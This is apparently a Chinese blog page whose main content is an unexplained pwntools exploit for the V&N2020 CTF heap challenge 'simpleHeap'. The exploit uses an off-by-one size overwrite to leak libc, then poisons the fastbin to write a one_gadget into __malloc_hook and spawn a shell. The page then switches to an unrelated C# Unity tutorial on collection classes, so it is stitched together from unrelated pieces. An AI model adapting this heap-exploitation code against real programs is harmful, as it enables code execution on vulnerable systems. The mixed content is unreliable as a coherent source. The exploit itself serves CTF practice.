V&N2020 simpleHeap

# coding:utf-8
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = process('./vn_pwn_simpleHeap')


def add(size, content):
    p.sendlineafter("choice: ", '1')
    p.sendlineafter("size?", str(size))
    p.sendlineafter("content:", content)


def edit(idx, content):
    p.sendlineafter("choice: ", '2')
    p.sendlineafter("idx?", str(idx))
    p.sendlineafter("content:", content)


def show(idx):
    p.sendlineafter("choice: ", '3')
    p.sendlineafter("idx?", str(idx))


def delete(idx):
    p.sendlineafter("choice: ", '4')
    p.sendlineafter("idx?", str(idx))
add(24, '0000')
add(96, '1111')
add(96, '2222')
add(16, '3333')
edit(0, "A" * 0x18 + '\xe1')
delete(1)
# gdb.attach(p)
# gdb.attach(p)
add(96, '1111')
# gdb.attach(p)
show(2)
# gdb.attach(p)
main_arena_addr = u64(p.recvline()[:-1].ljust(8, '\x00')) - 88
print(hex(main_arena_addr))
libc_base = main_arena_addr - 0x3C4B20
malloc_hook = libc_base + 0x3c4b10
realloc_addr = libc_base + 0x846C0
libc_one_gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
add(96, '4422')
log.success("add(96, '4422')")
delete(4)
# gdb.attach(p)
edit(2, p64(malloc_hook - 0x23) + '\n')
add(96, '4242')
# gdb.attach(p)
payload = "A" * (0x13 - 0x8) + p64(libc_base +
                                   libc_one_gadget[1]) + p64(realloc_addr + 0xd) + '\n'
add(96, payload)
log.success(hex(libc_base + libc_one_gadget[1]))
# gdb.attach(p)
p.sendlineafter("choice: ", '1')
p.sendlineafter("size?", '10')
p.interactive()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
好的,我可以帮你写一个案例,使用 List、Dictionary、Queue、LinkedList 和 Heap 等集合类。 首先,我们创建一个名为 CollectionExample 的脚本,并在其中声明以下集合变量: ```csharp using System.Collections; using System.Collections.Generic; using UnityEngine; public class CollectionExample : MonoBehaviour { // List public List<string> namesList; // Dictionary public Dictionary<string, int> scoresDict; // Queue public Queue<int> numbersQueue; // LinkedList public LinkedList<float> weightsLinkedList; // Heap public SimpleHeap<int> numbersHeap; // Start is called before the first frame update void Start() { // 初始化 List namesList = new List<string>(); namesList.Add("Tom"); namesList.Add("Jerry"); namesList.Add("Mickey"); // 初始化 Dictionary scoresDict = new Dictionary<string, int>(); scoresDict.Add("Tom", 80); scoresDict.Add("Jerry", 90); scoresDict.Add("Mickey", 85); // 初始化 Queue numbersQueue = new Queue<int>(); numbersQueue.Enqueue(1); numbersQueue.Enqueue(2); numbersQueue.Enqueue(3); // 初始化 LinkedList weightsLinkedList = new LinkedList<float>(); weightsLinkedList.AddFirst(60.5f); weightsLinkedList.AddLast(70.2f); LinkedListNode<float> node = weightsLinkedList.First; while (node != null) { Debug.Log("Weight: " + node.Value); node = node.Next; } // 初始化 Heap numbersHeap = new SimpleHeap<int>(); numbersHeap.Insert(10); numbersHeap.Insert(20); numbersHeap.Insert(5); numbersHeap.Insert(25); Debug.Log("Heap Top: " + numbersHeap.Top()); } // Update is called once per frame void Update() { // 遍历 List foreach (string name in namesList) { Debug.Log("Name: " + name); } // 遍历 Dictionary foreach (KeyValuePair<string, int> kvp in scoresDict) { Debug.Log("Name: " + kvp.Key + ", Score: " + kvp.Value); } // 使用 Queue if (numbersQueue.Count > 0) { int num = numbersQueue.Dequeue(); Debug.Log("Number: " + num); } // 使用 LinkedList LinkedListNode<float> node = weightsLinkedList.First; while (node != null) { Debug.Log("Weight: " + node.Value); node = node.Next; } // 使用 Heap Debug.Log("Heap Top: " + numbersHeap.Top()); } } ``` 在 Start 方法中,我们分别初始化了 List、Dictionary 和 Queue,并添加了一些元素。同时,我们也初始化了 LinkedList 和 Heap,并插入了一些元素。 在 Update 方法中,我们分别使用了 foreach 循环遍历了 List 和 Dictionary,以及使用了 Queue 的 Dequeue 方法取出了队首元素。我们也使用了 LinkedList 的遍历操作,并使用 Heap 的 Top 方法获取堆顶元素。 现在,我们可以将 CollectionExample 脚本绑定到场景中的任意一个 GameObject 上,然后运行游戏,就可以看到各种集合的使用效果了。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值